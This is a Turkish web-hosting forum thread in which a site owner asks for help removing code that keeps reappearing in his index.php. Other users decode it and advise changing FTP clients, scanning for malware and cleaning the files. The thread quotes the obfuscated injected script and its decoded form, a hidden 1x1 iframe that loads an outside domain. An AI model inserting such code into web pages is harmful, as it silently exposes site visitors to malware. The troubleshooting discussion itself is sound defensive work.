Lanet olası virüs

**RapStyle** · 1 31-01-2011, 08:59:40

Selam arkadaşlar insallah yardımcı olacak birisi çıkar

forumda okadar konu var araştırdınmı lütfen demeyin şifre degiş format at vs gibi lütfen..

bugun bilgisayara 2 kere format attim şifreleri değiştim yok yok yine geliyor siliyorum 5dk sonra yine siteye ekleniyor virüs anlamadim gitti bütün dosyaları temizledim zaten sadece index.php ye bulaşıyor nasil bişeyse anlamış değilim..

buyrun kod

Kod:

<script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%76%65%72%72%65%64%2E%6E%65%74%2F%3F%34%34%38%33%33%34%33%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script><!-- uy7gdr5332rkmn -->

Çözüm yolu bulabilirsek çok sevinirim

DoganKartal · 2 31-01-2011, 09:04:15

Bendede buna benzer bir bela var, bazı arkadaşlar modemden kaynaklandığını söylüyor.

Dogukan · 3 31-01-2011, 09:24:03

Kullandığınız yazılımlardan birisinin içinde olabilir.Örn: ftp programı. Autorun şeklinde eğer iki veya üstü bölümden oluşuyorsa diskiniz format atılan bölümün dışındaki bölümlere bulaşmış olabilir. En iyisi önce şifrenizi değiştirin sonra ftp programınızı değiştirin, genelde Cute Ftp 'de oluyor problem. Bu da işe yaramazsa başka bir bilgisayardan şifreyi değiştirip cPanel'deki editor ile kodu index.php den silin.

~~Asynchronous~~ · 4 31-01-2011, 09:26:00

Kullandığınız ftp programını değiştiriniz,ftp deki diğer dosyaların içini teker teker aramanızı öneririm 3 yıl kadar önce benzer bir olayla karşılaşmıştım.İsminde index geçen tüm dosyalara bulaşmıştı.Bu arada kodun şifresiz hali :

Kod:

document.write('<iframe src="http://verred.net/?4483343" width=1 height=1></iframe>')

HasBey · 5 31-01-2011, 10:12:09

ftp programınız crackliyse mutlaka kaldırın, file zillayı tavsiye ederim pc'ye combofix kurup tarayın pcinizi, daha sonrada kaspersky ile tam tarama yapın.

YaPRaQQ · 6 31-01-2011, 15:48:44

banada bulaştı bu lanet virüs cuteftp kullanıyordum :S

**RapStyle** · 7 31-01-2011, 21:56:59

Alıntı:

Dogukan Nickli Üyeden Alıntı

Kullandığınız yazılımlardan birisinin içinde olabilir.Örn: ftp programı. Autorun şeklinde eğer iki veya üstü bölümden oluşuyorsa diskiniz format atılan bölümün dışındaki bölümlere bulaşmış olabilir. En iyisi önce şifrenizi değiştirin sonra ftp programınızı değiştirin, genelde Cute Ftp 'de oluyor problem. Bu da işe yaramazsa başka bir bilgisayardan şifreyi değiştirip cPanel'deki editor ile kodu index.php den silin.

teşekkür ederim.

Alıntı:

Asynchronous Nickli Üyeden Alıntı

Kullandığınız ftp programını değiştiriniz,ftp deki diğer dosyaların içini teker teker aramanızı öneririm 3 yıl kadar önce benzer bir olayla karşılaşmıştım.İsminde index geçen tüm dosyalara bulaşmıştı.Bu arada kodun şifresiz hali :

Kod:

document.write('<iframe src="http://verred.net/?4483343" width=1 height=1></iframe>')

Saolasın eyv.

Alıntı:

HasBey Nickli Üyeden Alıntı

ftp programınız crackliyse mutlaka kaldırın, file zillayı tavsiye ederim pc'ye combofix kurup tarayın pcinizi, daha sonrada kaspersky ile tam tarama yapın.

Bence filezilla dan kaynaklanan bişey kaldırdım onu FlashFXP kullaniyorum..

Alıntı:

YaPRaQQ Nickli Üyeden Alıntı

banada bulaştı bu lanet virüs cuteftp kullanıyordum :S

Cuteftp en berbat olanı bence hemen sil ..

Teşekkürler arkadaşlar başka bilgisi olan varmı acaba ?

**yelkenbilisim** · 8 31-01-2011, 22:02:39

Bence sitendeki js dosyalarını bir kontrol et

Veya kullandığın eklentileri falan kontrol et bilgisayarınla alakalı olmayabilir.Daha önce çok yaşadım genelde bazı eklentiler kod eklenmesine neden oluyor.

**RapStyle** · 9 01-02-2011, 10:39:16

Alıntı:

yelkenbilisim Nickli Üyeden Alıntı

Bence sitendeki js dosyalarını bir kontrol et

Veya kullandığın eklentileri falan kontrol et bilgisayarınla alakalı olmayabilir.Daha önce çok yaşadım genelde bazı eklentiler kod eklenmesine neden oluyor.

Saolasın hocam fizella kullaniyordum pc den kaldırdım tarafa yaptim tekrar şuan bi sorun yok yardımcı olmak isteyen arkadailara teşekkür ederim eyvallah.

fizella den kaynaklanan bişey bence..

Forex · 10 01-02-2011, 11:10:27

YApman gereken şu;
Önce tüm site dosyalarını bilgisayarına indir
Advanced Find and replace programı ile tüm dosyalarını tarattır temizle tekrar yükle bu arada ftp programına şifreyi kaydetme quick bağlantı ile bağlan.

dosyalarını temizledikten sonra tekrar yükle yükledikten sonra ftp yi sil.

Eğer tekrar sitene virüs bulaşıyor ise host sağlayan sunucundaki diğer sayfalarda virüs bulaşmıştır bu durumda sunucunu değiştirmekten başka çaren yok.

Seçenekler
Yazdırılabilir şekli göster Sayfayı E-Mail olarak gönder